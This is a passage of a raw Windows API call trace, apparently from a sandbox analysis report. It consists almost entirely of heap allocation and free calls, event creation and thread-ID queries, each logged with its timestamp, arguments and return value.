0x2ca7ec0 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x25c [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7dd0 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x260 [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7de8 [0074.661] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x264 [0074.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7c50 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x268 [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7bf0 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x26c [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7cb0 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x270 [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7c68 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x274 [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7e90 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x278 [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7cf8 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x27c [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7d10 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x280 [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7e00 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x284 [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7c08 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x288 [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7c38 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x28c [0074.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7e18 [0074.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x290 [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7e30 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x294 [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7e48 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x298 [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7e60 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x29c [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7d40 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2a0 [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7ea8 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2a4 [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7e78 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2a8 [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7d28 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2ac [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7c80 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2b0 [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7d58 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2b4 [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7d70 [0074.663] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2b8 [0074.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7d88 [0074.664] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2bc [0074.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca80e8 [0074.664] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c0 [0074.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca81c0 [0074.664] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c4 [0074.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8190 [0074.664] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c8 [0074.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7fc8 [0074.664] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2cc [0074.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8058 [0074.664] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2d0 [0074.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8070 [0074.664] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2d4 [0074.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af90 [0074.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1fef8 [0074.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afa0 [0074.665] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af30, Size=0x14) returned 0x2a71940 [0074.665] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a1ffe8 [0074.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afa0 | out: hHeap=0x2ad0000) returned 1 [0074.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0074.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af90 | out: hHeap=0x2ad0000) returned 1 [0074.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0074.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0074.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aed0 [0074.665] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af30, Size=0x14) returned 0x2a71940 [0074.665] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a201c8 [0074.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0074.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ed8 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80d0 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aee0 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.666] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aee0, Size=0x14) returned 0x2a71700 [0074.666] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71700, Size=0x24) returned 0x2a20078 [0074.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80d0 | out: hHeap=0x2ad0000) returned 1 [0074.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81a8 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af70 [0074.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af80 [0074.666] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af70, Size=0x14) returned 0x2a71680 [0074.666] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71680, Size=0x24) returned 0x2a200d8 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81a8 | out: hHeap=0x2ad0000) returned 1 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aff0 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aee0 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af90 [0074.667] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aee0, Size=0x14) returned 0x2a71940 [0074.667] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a1ff58 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af90 | out: hHeap=0x2ad0000) returned 1 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aff0 | out: hHeap=0x2ad0000) returned 1 [0074.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b010 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af10, Size=0x14) returned 0x2a71940 [0074.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a20138 [0074.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b010 | out: hHeap=0x2ad0000) returned 1 [0074.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0074.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7ed8, Size=0x20) returned 0x2a1f8a8 [0074.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c0f858 [0074.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bba750 | out: hHeap=0x2ad0000) returned 1 [0074.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c1fa40 [0074.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f858 | out: hHeap=0x2ad0000) returned 1 [0074.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba8d8 [0074.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba5c8 [0074.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c16af0 [0074.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bba8d8 | out: hHeap=0x2ad0000) returned 1 [0074.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c0f858 [0074.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bba5c8 | out: hHeap=0x2ad0000) returned 1 [0074.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c21248 [0074.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c16af0 | out: hHeap=0x2ad0000) returned 1 [0074.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c22a50 [0074.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f858 | out: hHeap=0x2ad0000) returned 1 [0074.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2ac29d8 [0074.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2ac2dc0 [0074.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6000) returned 0x2ca9a60 [0074.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c21248 | out: hHeap=0x2ad0000) returned 1 [0074.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6000) returned 0x2cafa68 [0074.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c22a50 | out: hHeap=0x2ad0000) returned 1 [0074.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc00) returned 0x2c80ad0 [0074.672] GetLastError () returned 0x0 [0074.672] CloseHandle (hObject=0x1ec) returned 1 [0074.672] GetLastError () returned 0x0 [0074.672] GetCurrentThreadId () returned 0x9b0 [0074.672] GetLastError () returned 0x0 [0074.672] GetCurrentThreadId () returned 0x9b0 [0074.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8308 | out: hHeap=0x2ad0000) returned 1 [0074.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8998 | out: hHeap=0x2ad0000) returned 1 [0074.672] GetCurrentThreadId () returned 0x9b0 [0074.672] GetCurrentThreadId () returned 0x9b0 [0074.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8df8 [0074.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8df8 | out: hHeap=0x2ad0000) returned 1 [0074.672] GetCurrentThreadId () returned 0x9b0 [0074.672] GetCurrentThreadId () returned 0x9b0 [0074.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8420 [0074.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8420 | out: hHeap=0x2ad0000) returned 1 [0074.672] GetCurrentThreadId () returned 0x9b0 [0074.672] GetCurrentThreadId () returned 0x9b0 [0074.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7ea8 [0074.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7ea8 | out: hHeap=0x2ad0000) returned 1 [0074.672] GetCurrentThreadId () returned 0x9b0 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8998 [0074.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8998 | out: hHeap=0x2ad0000) returned 1 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba80d8 [0074.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba80d8 | out: hHeap=0x2ad0000) returned 1 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8420 [0074.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8420 | out: hHeap=0x2ad0000) returned 1 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba80d8 [0074.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba80d8 | out: hHeap=0x2ad0000) returned 1 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0074.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] GetCurrentThreadId () returned 0x9b0 [0074.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aee0 [0074.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x240) returned 0x2c816d8 [0074.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f68, Size=0x20) returned 0x2a1fa10 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a18e18 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19738 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19738, Size=0x8c) returned 0x2ac0450 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0450, Size=0xb8) returned 0x2ac94d0 [0074.674] GetCurrentThreadId () returned 0x9b0 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac94d0, Size=0xe8) returned 0x2c37118 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37118, Size=0x120) returned 0x2cb6878 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6878, Size=0x160) returned 0x2cb7478 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7478, Size=0x1a8) returned 0x2cb8188 [0074.674] GetCurrentThreadId () returned 0x9b0 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb8188, Size=0x1f8) returned 0x2c305a0 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c305a0, Size=0x250) returned 0x2ac3d58 [0074.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c816d8 | out: hHeap=0x2ad0000) returned 1 [0074.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aee0, Size=0x294) returned 0x2c816d8 [0074.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac3d58 | out: hHeap=0x2ad0000) returned 1 [0074.674] GetCurrentThreadId () returned 0x9b0 [0074.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba5c8 [0074.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb828 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbad70 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af20 [0074.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af10, Size=0x14) returned 0x2a71700 [0074.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0074.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0074.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb828 | out: hHeap=0x2ad0000) returned 1 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbca88 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c16af0 [0074.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbca88 | out: hHeap=0x2ad0000) returned 1 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ff8 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aff0 [0074.676] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71940 [0074.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aff0 | out: hHeap=0x2ad0000) returned 1 [0074.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ff8 | out: hHeap=0x2ad0000) returned 1 [0074.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x781) returned 0x2cb8a88 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x781) returned 0x2cb9218 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aef0 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a1fef8 [0074.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0074.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 